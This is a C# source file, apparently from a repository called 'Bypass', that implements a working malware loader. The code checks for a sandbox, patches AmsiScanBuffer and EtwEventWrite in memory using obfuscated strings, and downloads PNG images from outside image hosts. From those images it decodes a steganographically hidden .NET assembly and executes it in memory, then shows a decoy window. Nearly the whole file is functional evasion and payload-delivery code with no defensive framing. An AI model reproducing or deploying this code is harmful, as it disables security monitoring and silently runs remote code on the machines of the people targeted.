mirror of https://github.com/qwqdanchun/Bypass.git
701 lines
28 KiB
C#
701 lines
28 KiB
C#
using System;
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using System.Diagnostics;
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using System.Drawing;
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using System.IO;
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using System.Linq;
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using System.Management;
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using System.Net;
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using System.Reflection;
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using System.Runtime.InteropServices;
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using System.Text;
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using System.Windows.Forms;
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using WindowsFormsApp1;
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namespace Program
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{
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static class Program
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{
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/// <summary>
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/// 应用程序的主入口点。
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/// </summary>
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[STAThread]
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static void Main()
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{
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if (!VM())
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{
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A.B();
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string LDer = @"https://s1.ax1x.com/2020/04/28/J4Zp9S.png"; // No Startup，CHINA
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string FI_LE = @"https://z3.ax1x.com/2021/07/05/RhfFGn.png"; //FI_LE
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var requestLDer = WebRequest.Create(LDer);
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var requestFI_LE = WebRequest.Create(FI_LE);
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Bitmap LDerIMG;
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Bitmap FI_LEIMG;
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using (var response = requestLDer.GetResponse())
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using (var stream = response.GetResponseStream())
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{
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LDerIMG = (Bitmap)Image.FromStream(stream);
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}
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using (var response = requestFI_LE.GetResponse())
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using (var stream = response.GetResponseStream())
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{
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FI_LEIMG = (Bitmap)Image.FromStream(stream);
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}
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byte[] outputLDer = DE(LDerIMG);
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byte[] outputFI_LE = DE(FI_LEIMG);
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//Assembly.Load(outputLDer).GetType("loader.loader").GetMethod("RunProgram").Invoke(null, new object[] { outputFI_LE });
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Assembly.Load(outputFI_LE).EntryPoint.Invoke(null, null);
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}
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Application.EnableVisualStyles();
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Application.SetCompatibleTextRenderingDefault(false);
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Application.Run(new Form1());
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}
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public static byte[] DE(Bitmap img)
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{
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StringBuilder holder = new StringBuilder();
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int xmax = img.Width - 1;
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int ymax = img.Height - 1;
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for (int y = 1; y <= ymax; y++)
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{
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for (int x = 1; x <= xmax; x++)
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{
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Color c = img.GetPixel(x, y);
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holder.Append((char)c.R);
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}
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}
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return Convert.FromBase64String(holder.ToString().Replace(Convert.ToChar(0).ToString(), ""));
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}
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public static bool VM()
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{
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SelectQuery selectQuery = new SelectQuery("Select * from Win32_CacheMemory");
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ManagementObjectSearcher searcher = new ManagementObjectSearcher(selectQuery);
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int i = 0;
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foreach (ManagementObject DeviceID in searcher.Get())
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{
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i++;
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}
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if (i == 0)
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{
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return true;
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}
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else
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{
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return false;
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}
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}
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}
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public class DInvokeCore
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{
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// Required NTSTATUSs
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public enum NTSTATUS : uint
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{
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// Success
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Success = 0x00000000,
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Wait0 = 0x00000000,
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Wait1 = 0x00000001,
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Wait2 = 0x00000002,
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Wait3 = 0x00000003,
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Wait63 = 0x0000003f,
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Abandoned = 0x00000080,
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AbandonedWait0 = 0x00000080,
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AbandonedWait1 = 0x00000081,
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AbandonedWait2 = 0x00000082,
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AbandonedWait3 = 0x00000083,
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AbandonedWait63 = 0x000000bf,
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UserApc = 0x000000c0,
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KernelApc = 0x00000100,
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Alerted = 0x00000101,
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Timeout = 0x00000102,
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Pending = 0x00000103,
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Reparse = 0x00000104,
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MoreEntries = 0x00000105,
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NotAllAssigned = 0x00000106,
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SomeNotMapped = 0x00000107,
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OpLockBreakInProgress = 0x00000108,
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VolumeMounted = 0x00000109,
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RxActCommitted = 0x0000010a,
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NotifyCleanup = 0x0000010b,
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NotifyEnumDir = 0x0000010c,
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NoQuotasForAccount = 0x0000010d,
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PrimaryTransportConnectFailed = 0x0000010e,
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PageFaultTransition = 0x00000110,
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PageFaultDemandZero = 0x00000111,
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PageFaultCopyOnWrite = 0x00000112,
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PageFaultGuardPage = 0x00000113,
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PageFaultPagingFile = 0x00000114,
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CrashDump = 0x00000116,
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ReparseObject = 0x00000118,
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NothingToTerminate = 0x00000122,
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ProcessNotInJob = 0x00000123,
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ProcessInJob = 0x00000124,
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ProcessCloned = 0x00000129,
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FileLockedWithOnlyReaders = 0x0000012a,
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FileLockedWithWriters = 0x0000012b,
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// Informational
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Informational = 0x40000000,
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ObjectNameExists = 0x40000000,
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ThreadWasSuspended = 0x40000001,
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WorkingSetLimitRange = 0x40000002,
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ImageNotAtBase = 0x40000003,
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RegistryRecovered = 0x40000009,
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// Warning
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Warning = 0x80000000,
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GuardPageViolation = 0x80000001,
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DatatypeMisalignment = 0x80000002,
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Breakpoint = 0x80000003,
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SingleStep = 0x80000004,
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BufferOverflow = 0x80000005,
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NoMoreFiles = 0x80000006,
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HandlesClosed = 0x8000000a,
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PartialCopy = 0x8000000d,
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DeviceBusy = 0x80000011,
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InvalidEaName = 0x80000013,
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EaListInconsistent = 0x80000014,
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NoMoreEntries = 0x8000001a,
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LongJump = 0x80000026,
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DllMightBeInsecure = 0x8000002b,
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// Error
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Error = 0xc0000000,
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Unsuccessful = 0xc0000001,
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NotImplemented = 0xc0000002,
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InvalidInfoClass = 0xc0000003,
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InfoLengthMismatch = 0xc0000004,
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AccessViolation = 0xc0000005,
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InPageError = 0xc0000006,
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PagefileQuota = 0xc0000007,
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InvalidHandle = 0xc0000008,
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BadInitialStack = 0xc0000009,
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BadInitialPc = 0xc000000a,
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InvalidCid = 0xc000000b,
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TimerNotCanceled = 0xc000000c,
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InvalidParameter = 0xc000000d,
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NoSuchDevice = 0xc000000e,
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NoSuchFile = 0xc000000f,
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InvalidDeviceRequest = 0xc0000010,
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EndOfFile = 0xc0000011,
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WrongVolume = 0xc0000012,
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NoMediaInDevice = 0xc0000013,
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NoMemory = 0xc0000017,
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ConflictingAddresses = 0xc0000018,
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NotMappedView = 0xc0000019,
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UnableToFreeVm = 0xc000001a,
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UnableToDeleteSection = 0xc000001b,
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IllegalInstruction = 0xc000001d,
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AlreadyCommitted = 0xc0000021,
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AccessDenied = 0xc0000022,
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BufferTooSmall = 0xc0000023,
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ObjectTypeMismatch = 0xc0000024,
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NonContinuableException = 0xc0000025,
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BadStack = 0xc0000028,
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NotLocked = 0xc000002a,
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NotCommitted = 0xc000002d,
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InvalidParameterMix = 0xc0000030,
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ObjectNameInvalid = 0xc0000033,
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ObjectNameNotFound = 0xc0000034,
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ObjectNameCollision = 0xc0000035,
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ObjectPathInvalid = 0xc0000039,
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ObjectPathNotFound = 0xc000003a,
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ObjectPathSyntaxBad = 0xc000003b,
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DataOverrun = 0xc000003c,
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DataLate = 0xc000003d,
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DataError = 0xc000003e,
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CrcError = 0xc000003f,
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SectionTooBig = 0xc0000040,
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PortConnectionRefused = 0xc0000041,
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InvalidPortHandle = 0xc0000042,
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SharingViolation = 0xc0000043,
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QuotaExceeded = 0xc0000044,
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InvalidPageProtection = 0xc0000045,
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MutantNotOwned = 0xc0000046,
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SemaphoreLimitExceeded = 0xc0000047,
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PortAlreadySet = 0xc0000048,
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SectionNotImage = 0xc0000049,
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SuspendCountExceeded = 0xc000004a,
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ThreadIsTerminating = 0xc000004b,
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BadWorkingSetLimit = 0xc000004c,
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IncompatibleFileMap = 0xc000004d,
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SectionProtection = 0xc000004e,
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EasNotSupported = 0xc000004f,
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EaTooLarge = 0xc0000050,
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NonExistentEaEntry = 0xc0000051,
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NoEasOnFile = 0xc0000052,
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EaCorruptError = 0xc0000053,
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FileLockConflict = 0xc0000054,
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LockNotGranted = 0xc0000055,
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DeletePending = 0xc0000056,
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CtlFileNotSupported = 0xc0000057,
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UnknownRevision = 0xc0000058,
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RevisionMismatch = 0xc0000059,
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InvalidOwner = 0xc000005a,
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InvalidPrimaryGroup = 0xc000005b,
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NoImpersonationToken = 0xc000005c,
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CantDisableMandatory = 0xc000005d,
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NoLogonServers = 0xc000005e,
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NoSuchLogonSession = 0xc000005f,
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NoSuchPrivilege = 0xc0000060,
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PrivilegeNotHeld = 0xc0000061,
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InvalidAccountName = 0xc0000062,
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UserExists = 0xc0000063,
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NoSuchUser = 0xc0000064,
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GroupExists = 0xc0000065,
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NoSuchGroup = 0xc0000066,
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MemberInGroup = 0xc0000067,
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MemberNotInGroup = 0xc0000068,
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LastAdmin = 0xc0000069,
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WrongPassword = 0xc000006a,
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IllFormedPassword = 0xc000006b,
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PasswordRestriction = 0xc000006c,
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LogonFailure = 0xc000006d,
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AccountRestriction = 0xc000006e,
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InvalidLogonHours = 0xc000006f,
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InvalidWorkstation = 0xc0000070,
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PasswordExpired = 0xc0000071,
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AccountDisabled = 0xc0000072,
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NoneMapped = 0xc0000073,
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TooManyLuidsRequested = 0xc0000074,
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LuidsExhausted = 0xc0000075,
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InvalidSubAuthority = 0xc0000076,
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InvalidAcl = 0xc0000077,
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InvalidSid = 0xc0000078,
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InvalidSecurityDescr = 0xc0000079,
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ProcedureNotFound = 0xc000007a,
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InvalidImageFormat = 0xc000007b,
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NoToken = 0xc000007c,
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BadInheritanceAcl = 0xc000007d,
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RangeNotLocked = 0xc000007e,
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DiskFull = 0xc000007f,
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ServerDisabled = 0xc0000080,
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ServerNotDisabled = 0xc0000081,
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TooManyGuidsRequested = 0xc0000082,
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GuidsExhausted = 0xc0000083,
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InvalidIdAuthority = 0xc0000084,
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AgentsExhausted = 0xc0000085,
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InvalidVolumeLabel = 0xc0000086,
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SectionNotExtended = 0xc0000087,
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NotMappedData = 0xc0000088,
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ResourceDataNotFound = 0xc0000089,
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ResourceTypeNotFound = 0xc000008a,
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ResourceNameNotFound = 0xc000008b,
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ArrayBoundsExceeded = 0xc000008c,
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FloatDenormalOperand = 0xc000008d,
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FloatDivideByZero = 0xc000008e,
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FloatInexactResult = 0xc000008f,
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FloatInvalidOperation = 0xc0000090,
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FloatOverflow = 0xc0000091,
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FloatStackCheck = 0xc0000092,
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FloatUnderflow = 0xc0000093,
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IntegerDivideByZero = 0xc0000094,
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IntegerOverflow = 0xc0000095,
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PrivilegedInstruction = 0xc0000096,
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TooManyPagingFiles = 0xc0000097,
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FileInvalid = 0xc0000098,
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InsufficientResources = 0xc000009a,
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InstanceNotAvailable = 0xc00000ab,
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PipeNotAvailable = 0xc00000ac,
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InvalidPipeState = 0xc00000ad,
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PipeBusy = 0xc00000ae,
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IllegalFunction = 0xc00000af,
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PipeDisconnected = 0xc00000b0,
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PipeClosing = 0xc00000b1,
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PipeConnected = 0xc00000b2,
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PipeListening = 0xc00000b3,
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InvalidReadMode = 0xc00000b4,
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IoTimeout = 0xc00000b5,
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FileForcedClosed = 0xc00000b6,
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ProfilingNotStarted = 0xc00000b7,
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ProfilingNotStopped = 0xc00000b8,
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NotSameDevice = 0xc00000d4,
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FileRenamed = 0xc00000d5,
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CantWait = 0xc00000d8,
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PipeEmpty = 0xc00000d9,
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CantTerminateSelf = 0xc00000db,
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InternalError = 0xc00000e5,
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InvalidParameter1 = 0xc00000ef,
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InvalidParameter2 = 0xc00000f0,
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InvalidParameter3 = 0xc00000f1,
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InvalidParameter4 = 0xc00000f2,
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InvalidParameter5 = 0xc00000f3,
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InvalidParameter6 = 0xc00000f4,
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InvalidParameter7 = 0xc00000f5,
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InvalidParameter8 = 0xc00000f6,
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InvalidParameter9 = 0xc00000f7,
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InvalidParameter10 = 0xc00000f8,
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InvalidParameter11 = 0xc00000f9,
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InvalidParameter12 = 0xc00000fa,
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ProcessIsTerminating = 0xc000010a,
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MappedFileSizeZero = 0xc000011e,
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TooManyOpenedFiles = 0xc000011f,
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Cancelled = 0xc0000120,
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CannotDelete = 0xc0000121,
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InvalidComputerName = 0xc0000122,
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FileDeleted = 0xc0000123,
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SpecialAccount = 0xc0000124,
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SpecialGroup = 0xc0000125,
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SpecialUser = 0xc0000126,
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MembersPrimaryGroup = 0xc0000127,
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FileClosed = 0xc0000128,
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TooManyThreads = 0xc0000129,
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ThreadNotInProcess = 0xc000012a,
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TokenAlreadyInUse = 0xc000012b,
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PagefileQuotaExceeded = 0xc000012c,
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CommitmentLimit = 0xc000012d,
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InvalidImageLeFormat = 0xc000012e,
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InvalidImageNotMz = 0xc000012f,
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InvalidImageProtect = 0xc0000130,
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InvalidImageWin16 = 0xc0000131,
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LogonServer = 0xc0000132,
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DifferenceAtDc = 0xc0000133,
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SynchronizationRequired = 0xc0000134,
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DllNotFound = 0xc0000135,
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IoPrivilegeFailed = 0xc0000137,
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OrdinalNotFound = 0xc0000138,
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EntryPointNotFound = 0xc0000139,
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ControlCExit = 0xc000013a,
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InvalidAddress = 0xc0000141,
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PortNotSet = 0xc0000353,
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DebuggerInactive = 0xc0000354,
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CallbackBypass = 0xc0000503,
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PortClosed = 0xc0000700,
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MessageLost = 0xc0000701,
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InvalidMessage = 0xc0000702,
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RequestCanceled = 0xc0000703,
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RecursiveDispatch = 0xc0000704,
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LpcReceiveBufferExpected = 0xc0000705,
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LpcInvalidConnectionUsage = 0xc0000706,
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LpcRequestsNotAllowed = 0xc0000707,
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ResourceInUse = 0xc0000708,
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ProcessIsProtected = 0xc0000712,
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VolumeDirty = 0xc0000806,
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FileCheckedOut = 0xc0000901,
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CheckOutRequired = 0xc0000902,
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BadFileType = 0xc0000903,
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FileTooLarge = 0xc0000904,
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FormsAuthRequired = 0xc0000905,
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VirusInfected = 0xc0000906,
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VirusDeleted = 0xc0000907,
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TransactionalConflict = 0xc0190001,
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InvalidTransaction = 0xc0190002,
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TransactionNotActive = 0xc0190003,
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TmInitializationFailed = 0xc0190004,
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RmNotActive = 0xc0190005,
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RmMetadataCorrupt = 0xc0190006,
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TransactionNotJoined = 0xc0190007,
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DirectoryNotRm = 0xc0190008,
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CouldNotResizeLog = 0xc0190009,
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TransactionsUnsupportedRemote = 0xc019000a,
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LogResizeInvalidSize = 0xc019000b,
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RemoteFileVersionMismatch = 0xc019000c,
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CrmProtocolAlreadyExists = 0xc019000f,
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TransactionPropagationFailed = 0xc0190010,
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CrmProtocolNotFound = 0xc0190011,
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TransactionSuperiorExists = 0xc0190012,
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TransactionRequestNotValid = 0xc0190013,
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TransactionNotRequested = 0xc0190014,
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TransactionAlreadyAborted = 0xc0190015,
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TransactionAlreadyCommitted = 0xc0190016,
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TransactionInvalidMarshallBuffer = 0xc0190017,
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CurrentTransactionNotValid = 0xc0190018,
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LogGrowthFailed = 0xc0190019,
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ObjectNoLongerExists = 0xc0190021,
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StreamMiniversionNotFound = 0xc0190022,
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StreamMiniversionNotValid = 0xc0190023,
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MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024,
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CantOpenMiniversionWithModifyIntent = 0xc0190025,
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CantCreateMoreStreamMiniversions = 0xc0190026,
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HandleNoLongerValid = 0xc0190028,
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NoTxfMetadata = 0xc0190029,
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LogCorruptionDetected = 0xc0190030,
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CantRecoverWithHandleOpen = 0xc0190031,
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RmDisconnected = 0xc0190032,
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EnlistmentNotSuperior = 0xc0190033,
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RecoveryNotNeeded = 0xc0190034,
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RmAlreadyStarted = 0xc0190035,
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FileIdentityNotPersistent = 0xc0190036,
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CantBreakTransactionalDependency = 0xc0190037,
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CantCrossRmBoundary = 0xc0190038,
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TxfDirNotEmpty = 0xc0190039,
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IndoubtTransactionsExist = 0xc019003a,
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TmVolatile = 0xc019003b,
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RollbackTimerExpired = 0xc019003c,
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TxfAttributeCorrupt = 0xc019003d,
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EfsNotAllowedInTransaction = 0xc019003e,
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TransactionalOpenNotAllowed = 0xc019003f,
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TransactedMappingUnsupportedRemote = 0xc0190040,
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TxfMetadataAlreadyPresent = 0xc0190041,
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TransactionScopeCallbacksNotSet = 0xc0190042,
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TransactionRequiredPromotion = 0xc0190043,
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CannotExecuteFileInTransaction = 0xc0190044,
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TransactionsNotFrozen = 0xc0190045,
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MaximumNtStatus = 0xffffffff
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}
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// Delegate NtProtectVirtualMemory
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public class Delegates
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{
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[UnmanagedFunctionPointer(CallingConvention.StdCall)]
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public delegate UInt32 NtProtectVirtualMemory(
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IntPtr ProcessHandle,
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ref IntPtr BaseAddress,
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ref IntPtr RegionSize,
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UInt32 NewProtect,
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ref UInt32 OldProtect);
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}
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private static IntPtr GetLibraryAddress(string DLLName, string FunctionName)
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{
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IntPtr hModule = GetLoadedModuleAddress(DLLName);
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if (hModule == IntPtr.Zero)
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{
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throw new DllNotFoundException(DLLName + ", Dll was not found or not loaded.");
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}
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IntPtr lastOutput = GetExportAddress(hModule, FunctionName);
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return lastOutput;
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}
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private static IntPtr GetLoadedModuleAddress(string DLLName)
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{
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Process CurrentProcess = Process.GetCurrentProcess();
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foreach (ProcessModule Module in CurrentProcess.Modules)
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{
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if (string.Compare(Module.ModuleName, DLLName, true) == 0)
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{
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IntPtr ModuleBasePointer = Module.BaseAddress;
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return ModuleBasePointer;
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}
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}
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return IntPtr.Zero;
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}
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private static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
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{
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IntPtr FunctionPtr = IntPtr.Zero;
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try
|
||
{
|
||
// Traverse the PE header in memory
|
||
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
|
||
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
|
||
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
|
||
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
|
||
Int64 pExport = 0;
|
||
if (Magic == 0x010b)
|
||
{
|
||
pExport = OptHeader + 0x60;
|
||
}
|
||
else
|
||
{
|
||
pExport = OptHeader + 0x70;
|
||
}
|
||
|
||
// Read -> IMAGE_EXPORT_DIRECTORY
|
||
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
|
||
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
|
||
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
|
||
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
|
||
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
|
||
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
|
||
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
|
||
|
||
// Loop the array of export name RVA's
|
||
for (int i = 0; i < NumberOfNames; i++)
|
||
{
|
||
string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
|
||
if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase))
|
||
{
|
||
Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
|
||
Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
|
||
FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
catch
|
||
{
|
||
// Catch parser failure
|
||
throw new InvalidOperationException("Failed to parse module exports.");
|
||
}
|
||
|
||
if (FunctionPtr == IntPtr.Zero)
|
||
{
|
||
// Export not found
|
||
throw new MissingMethodException(ExportName + ", export not found.");
|
||
}
|
||
return FunctionPtr;
|
||
}
|
||
|
||
public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters)
|
||
{
|
||
IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName);
|
||
if (pFunction == IntPtr.Zero)
|
||
{
|
||
throw new InvalidOperationException("Could not get the handle for the function.");
|
||
}
|
||
return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters);
|
||
}
|
||
|
||
private static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters)
|
||
{
|
||
Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType);
|
||
return funcDelegate.DynamicInvoke(Parameters);
|
||
}
|
||
|
||
public static bool NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, UInt32 NewProtect, ref UInt32 OldProtect)
|
||
{
|
||
// Craft an array for the arguments
|
||
OldProtect = 0;
|
||
object[] funcargs = { ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect };
|
||
|
||
NTSTATUS retValue = (NTSTATUS)DynamicAPIInvoke(@"ntdll.dll", @"NtProtectVirtualMemory", typeof(Delegates.NtProtectVirtualMemory), ref funcargs);
|
||
if (retValue != NTSTATUS.Success)
|
||
{
|
||
return false;
|
||
}
|
||
|
||
OldProtect = (UInt32)funcargs[4];
|
||
return true;
|
||
}
|
||
}
|
||
public class A
|
||
{
|
||
|
||
static byte[] x64_etw_patch = new byte[] { 0x48, 0x33, 0xC0, 0xC3 };
|
||
static byte[] x86_etw_patch = new byte[] { 0x33, 0xc0, 0xc2, 0x14, 0x00 };
|
||
static byte[] x64_am_si_patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
|
||
static byte[] x86_am_si_patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
|
||
|
||
// Thx D/Invoke!
|
||
private static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
|
||
{
|
||
IntPtr FunctionPtr = IntPtr.Zero;
|
||
try
|
||
{
|
||
// Traverse the PE header in memory
|
||
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
|
||
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
|
||
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
|
||
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
|
||
Int64 pExport = 0;
|
||
if (Magic == 0x010b)
|
||
{
|
||
pExport = OptHeader + 0x60;
|
||
}
|
||
else
|
||
{
|
||
pExport = OptHeader + 0x70;
|
||
}
|
||
|
||
// Read -> IMAGE_EXPORT_DIRECTORY
|
||
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
|
||
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
|
||
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
|
||
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
|
||
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
|
||
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
|
||
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
|
||
|
||
// Loop the array of export name RVA's
|
||
for (int i = 0; i < NumberOfNames; i++)
|
||
{
|
||
string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
|
||
if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase))
|
||
{
|
||
Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
|
||
Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
|
||
FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
catch
|
||
{
|
||
// Catch parser failure
|
||
throw new InvalidOperationException("Failed to parse module exports.");
|
||
}
|
||
|
||
if (FunctionPtr == IntPtr.Zero)
|
||
{
|
||
// Export not found
|
||
throw new MissingMethodException(ExportName + " not found.");
|
||
}
|
||
return FunctionPtr;
|
||
}
|
||
|
||
private static string decode(string b64encoded)
|
||
{
|
||
return System.Text.ASCIIEncoding.ASCII.GetString(System.Convert.FromBase64String(b64encoded));
|
||
}
|
||
|
||
private static void PatchMem(byte[] patch, string library, string function)
|
||
{
|
||
try
|
||
{
|
||
IntPtr CurrentProcessHandle = new IntPtr(-1); // pseudo-handle for current process handle
|
||
IntPtr libPtr = (Process.GetCurrentProcess().Modules.Cast<ProcessModule>().Where(x => library.Equals(Path.GetFileName(x.FileName), StringComparison.OrdinalIgnoreCase)).FirstOrDefault().BaseAddress);
|
||
IntPtr funcPtr = GetExportAddress(libPtr, function);
|
||
IntPtr patchLength = new IntPtr(patch.Length);
|
||
UInt32 oldProtect = 0;
|
||
DInvokeCore.NtProtectVirtualMemory(CurrentProcessHandle, ref funcPtr, ref patchLength, 0x40, ref oldProtect);
|
||
Marshal.Copy(patch, 0, funcPtr, patch.Length);
|
||
}
|
||
catch (Exception e)
|
||
{
|
||
Console.WriteLine(" [!] {0}", e.Message);
|
||
Console.WriteLine(" [!] {0}", e.InnerException);
|
||
}
|
||
}
|
||
|
||
private static void Patcham_si(byte[] patch)
|
||
{
|
||
string dll = decode("YW1zaS5kbGw=");
|
||
foreach (ProcessModule CurrentModule in (Process.GetCurrentProcess().Modules))
|
||
{
|
||
if (CurrentModule.ModuleName == dll)
|
||
{
|
||
PatchMem(patch, dll, ("Am" + "si" + "Sc" + "an" + "Bu" + "ff" + "er"));
|
||
}
|
||
}
|
||
}
|
||
|
||
private static void PatchETW(byte[] Patch)
|
||
{
|
||
PatchMem(Patch, ("n" + "t" + "d" + "l" + "l" + "." + "d" + "l" + "l"), ("Et" + "wE" + "ve" + "nt" + "Wr" + "it" + "e"));
|
||
}
|
||
|
||
public static void B()
|
||
{
|
||
bool isit64bit;
|
||
if (IntPtr.Size == 4)
|
||
{
|
||
isit64bit = false;
|
||
}
|
||
else
|
||
{
|
||
isit64bit = true;
|
||
}
|
||
if (isit64bit)
|
||
{
|
||
Patcham_si(x64_am_si_patch);
|
||
PatchETW(x64_etw_patch);
|
||
}
|
||
else
|
||
{
|
||
Patcham_si(x86_am_si_patch);
|
||
PatchETW(x86_etw_patch);
|
||
}
|
||
}
|
||
}
|
||
|
||
}
|